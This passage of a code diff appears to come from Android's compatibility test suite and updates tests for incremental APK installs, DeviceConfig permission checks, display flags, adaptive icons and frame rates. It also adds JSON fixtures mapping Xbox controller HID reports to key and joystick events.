+        File apkfile = new File(createApkPath(TEST_APK));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
+        long splitLength = splitfile.length();
+        // Don't fully stream the split.
+        long newSplitLength = splitLength - (splitLength % 1024 == 0 ? 1024 : splitLength % 1024);
+        File[] files = new File[]{apkfile, splitfile};
+        String param = Arrays.stream(files).map(
+                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
+        assertTrue(executeShellCommand(
+                String.format("pm install-incremental -t -g -S %s %s",
+                        (apkfile.length() + splitfile.length()), param),
+                files, new long[]{apkfile.length(), newSplitLength}).contains(
+                "Failure"));
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    static class TestDataLoaderService extends DataLoaderService {
+    }
 
     @Test
     public void testDataLoaderServiceDefaultImplementation() {
@@ -179,8 +268,11 @@
         });
         readFromProcess.start();
 
-        installPackage(TEST_APK);
-        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        for (int i = 0; i < 3; ++i) {
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            uninstallPackageSilently(TEST_APP_PACKAGE);
+        }
 
         readFromProcess.join();
         assertNotEquals(0, result.size());
diff --git a/tests/tests/deviceconfig/AndroidManifest.xml b/tests/tests/deviceconfig/AndroidManifest.xml
index ee3a34c..eafb00a 100755
--- a/tests/tests/deviceconfig/AndroidManifest.xml
+++ b/tests/tests/deviceconfig/AndroidManifest.xml
@@ -22,6 +22,12 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
+    <!--
+       - Must set INTERACT_ACROSS_USERS because DeviceConfig always run as user 0, and the CTS tests
+       - might be running as a secondary user
+      -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.deviceconfig.cts"
                      android:label="CTS tests for DeviceConfig API">
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 15fb469..6d77ebb 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -189,8 +189,8 @@
             violations.append("DeviceConfig.setProperties() for public namespaces must not be "
                     + " accessible without WRITE_DEVICE_CONFIG permission\n");
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
-                    + "without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration", e);
         } catch (SecurityException e) {
         }
 
@@ -200,8 +200,8 @@
         try {
             DeviceConfig.setProperty(PUBLIC_NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperty() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -209,11 +209,11 @@
                     new Properties.Builder(PUBLIC_NAMESPACE).setString(KEY, VALUE).build();
             DeviceConfig.setProperties(properties);
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
-                    + " without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration", e);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperties() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission.\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -221,8 +221,8 @@
             assertEquals("Value read from DeviceConfig API public namespace does not match written"
                     + " value.", VALUE, property);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperty() for public namespaces must be accessible "
-                    + "without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperty() for public namespaces "
+                    + "must be accessible without READ_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -230,16 +230,17 @@
             assertEquals("Value read from DeviceConfig API public namespace does not match written"
                     + " value.", VALUE, properties.getString(KEY, "default_value"));
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperties() for public namespaces must be "
-                    + "accessible without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperties() for public "
+                    + "namespaces must be accessible without READ_DEVICE_CONFIG permission", e);
         }
 
         try {
             DeviceConfig.addOnPropertiesChangedListener(
                     PUBLIC_NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.addOnPropertiesChangeListener() for public namespaces "
-                    + "must be accessible without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() for "
+                    + "public namespaces must be accessible without READ_DEVICE_CONFIG permission",
+                    e);
         }
 
         // Bail if we found any violations
@@ -271,8 +272,8 @@
             violations.append("DeviceConfig.setProperties() must not be accessible without "
                     + "WRITE_DEVICE_CONFIG permission.\n");
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
-                    + "without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration.", e);
         } catch (SecurityException e) {
         }
     }
@@ -309,8 +310,8 @@
         try {
             DeviceConfig.setProperty(NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperty() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
     }
 
@@ -323,8 +324,8 @@
             violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
                     + " without a known bad configuration.");
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperties() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission.\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+                    + "with WRITE DEVICE_CONFIG permission", e);
         }
     }
 
@@ -333,8 +334,8 @@
         try {
             property = DeviceConfig.getProperty(NAMESPACE, KEY);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperty() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperty() must be accessible "
+                    + "with READ_DEVICE_CONFIG permission", e);
         }
         return property;
     }
@@ -344,8 +345,8 @@
         try {
             properties = DeviceConfig.getProperties(NAMESPACE2);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperties() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperties() must be accessible "
+                    + "with READ_DEVICE_CONFIG permission", e);
         }
         return properties;
     }
@@ -355,8 +356,13 @@
             DeviceConfig.addOnPropertiesChangedListener(
                     NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.addOnPropertiesChangeListener() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() must"
+                    + " be accessible with READ_DEVICE_CONFIG permission", e);
         }
     }
+
+    private static void addExceptionToViolations(StringBuilder violations, String message,
+            Exception e) {
+        violations.append(message).append(": ").append(e).append("\n");
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index aeb5ce0..94295e2 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -297,14 +297,12 @@
         assertEquals((float)SECONDARY_DISPLAY_DPI, outMetrics.ydpi, 0.0001f);
     }
 
-    /**
-     * Test that the getFlags method returns no flag bits set for the overlay display.
-     */
+    /** Test that the getFlags method returns expected flag bits set for the overlay display. */
     @Test
     public void testFlags() {
         Display display = getSecondaryDisplay(mDisplayManager.getDisplays());
 
-        assertEquals(Display.FLAG_PRESENTATION, display.getFlags());
+        assertEquals(Display.FLAG_PRESENTATION | Display.FLAG_TRUSTED, display.getFlags());
     }
 
     /**
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7e29288..2333601 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -44,7 +44,7 @@
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
         mMetrics = new DisplayMetrics();
-        display.getMetrics(mMetrics);
+        display.getRealMetrics(mMetrics);
     }
 
     @Presubmit
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 5ad060a..dee467e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -48,7 +48,7 @@
     }
 
     private static String TAG = "FrameRateCtsActivity";
-    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 1;
+    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 2;
     private static final long STABLE_FRAME_RATE_WAIT_SECONDS = 1;
     private static final long POST_BUFFER_INTERVAL_MILLIS = 500;
     private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a736878..a11406c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -71,7 +71,8 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion.version >= VULKAN_1_0) {
+        if (mVulkanHardwareVersion != null
+                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
             if (DEBUG) {
                 Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
                         + " has an acceptable value");
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
index 745aeca..f281406 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
@@ -31,6 +31,7 @@
 import android.graphics.PorterDuff;
 import android.graphics.cts.ImageViewCtsActivity;
 import android.graphics.cts.R;
+import android.graphics.drawable.AdaptiveIconDrawable;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Handler;
@@ -76,6 +77,12 @@
     }
 
     @Test
+    public void testAdaptiveBitmapIcon() {
+        verifyAdaptiveIconValidity(Icon.createWithAdaptiveBitmap(
+                Bitmap.createBitmap(16, 16, Bitmap.Config.ARGB_8888)));
+    }
+
+    @Test
     public void testDataIcon() {
         byte[] data = new byte[4];
         data[0] = data[1] = data[2] = data[3] = (byte)255;
@@ -100,6 +107,22 @@
     }
 
     @Test
+    public void testAdaptiveFileIcon() throws IOException {
+        File file = new File(mActivity.getFilesDir(), "testimage.jpg");
+        try {
+            writeSampleImage(file);
+            assertTrue(file.exists());
+
+            verifyAdaptiveIconValidity(Icon.createWithAdaptiveBitmapContentUri(Uri.fromFile(file)));
+
+            verifyAdaptiveIconValidity(
+                    Icon.createWithAdaptiveBitmapContentUri(file.toURI().toString()));
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
     public void testResourceIcon() {
         verifyIconValidity(Icon.createWithResource(mActivity, R.drawable.bmp_test));
 
@@ -141,6 +164,13 @@
     }
 
     @Test
+    public void testAdaptiveBitmapIcon_getType() {
+        Icon icon = Icon.createWithAdaptiveBitmap(
+                Bitmap.createBitmap(16, 16, Bitmap.Config.ARGB_8888));
+        assertEquals(Icon.TYPE_ADAPTIVE_BITMAP, icon.getType());
+    }
+
+    @Test
     public void testDataIcon_getType() {
         byte[] data = new byte[4];
         data[0] = data[1] = data[2] = data[3] = (byte) 255;
@@ -173,6 +203,26 @@
     }
 
     @Test
+    public void testAdaptiveFileIcon_getType() throws IOException {
+        File file = new File(mActivity.getFilesDir(), "testimage.jpg");
+        try {
+            writeSampleImage(file);
+            assertTrue(file.exists());
+            String filePath = file.toURI().getPath();
+
+            Icon icon = Icon.createWithAdaptiveBitmapContentUri(Uri.fromFile(file));
+            assertEquals(Icon.TYPE_URI_ADAPTIVE_BITMAP, icon.getType());
+            assertEquals(filePath, icon.getUri().getPath());
+
+            icon = Icon.createWithAdaptiveBitmapContentUri(file.toURI().toString());
+            assertEquals(Icon.TYPE_URI_ADAPTIVE_BITMAP, icon.getType());
+            assertEquals(filePath, icon.getUri().getPath());
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
     public void testResourceIcon_getType() {
         Icon icon = Icon.createWithResource("com.android.cts.testpkg", R.drawable.bmp_test);
         assertEquals(Icon.TYPE_RESOURCE, icon.getType());
@@ -212,4 +262,9 @@
 
         parcel.recycle();
     }
+
+    private void verifyAdaptiveIconValidity(Icon icon) {
+        verifyIconValidity(icon);
+        assertTrue(icon.loadDrawable(mActivity) instanceof AdaptiveIconDrawable);
+    }
 }
diff --git a/tests/tests/hardware/res/raw/microsoft_xbox2020_keyeventtests.json b/tests/tests/hardware/res/raw/microsoft_xbox2020_keyeventtests.json
new file mode 100755
index 0000000..60a043a
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xbox2020_keyeventtests.json
@@ -0,0 +1,181 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBL",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x20, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBR",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x40, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press SELECT",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x04, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x08, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press Xbox button",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x10, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  },
+
+  {
+    "name": "Press button below xbox",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x01],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "MEDIA_RECORD"},
+      {"action": "UP", "keycode": "MEDIA_RECORD"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_xbox2020_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_xbox2020_motioneventtests.json
new file mode 100755
index 0000000..450dbd4
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xbox2020_motioneventtests.json
@@ -0,0 +1,223 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0xff, 0xff, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0xff, 0xff, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x5d, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x5d, 0x80, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x5d, 0x80, 0x6c, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x5d, 0x80, 0x6c, 0x80, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
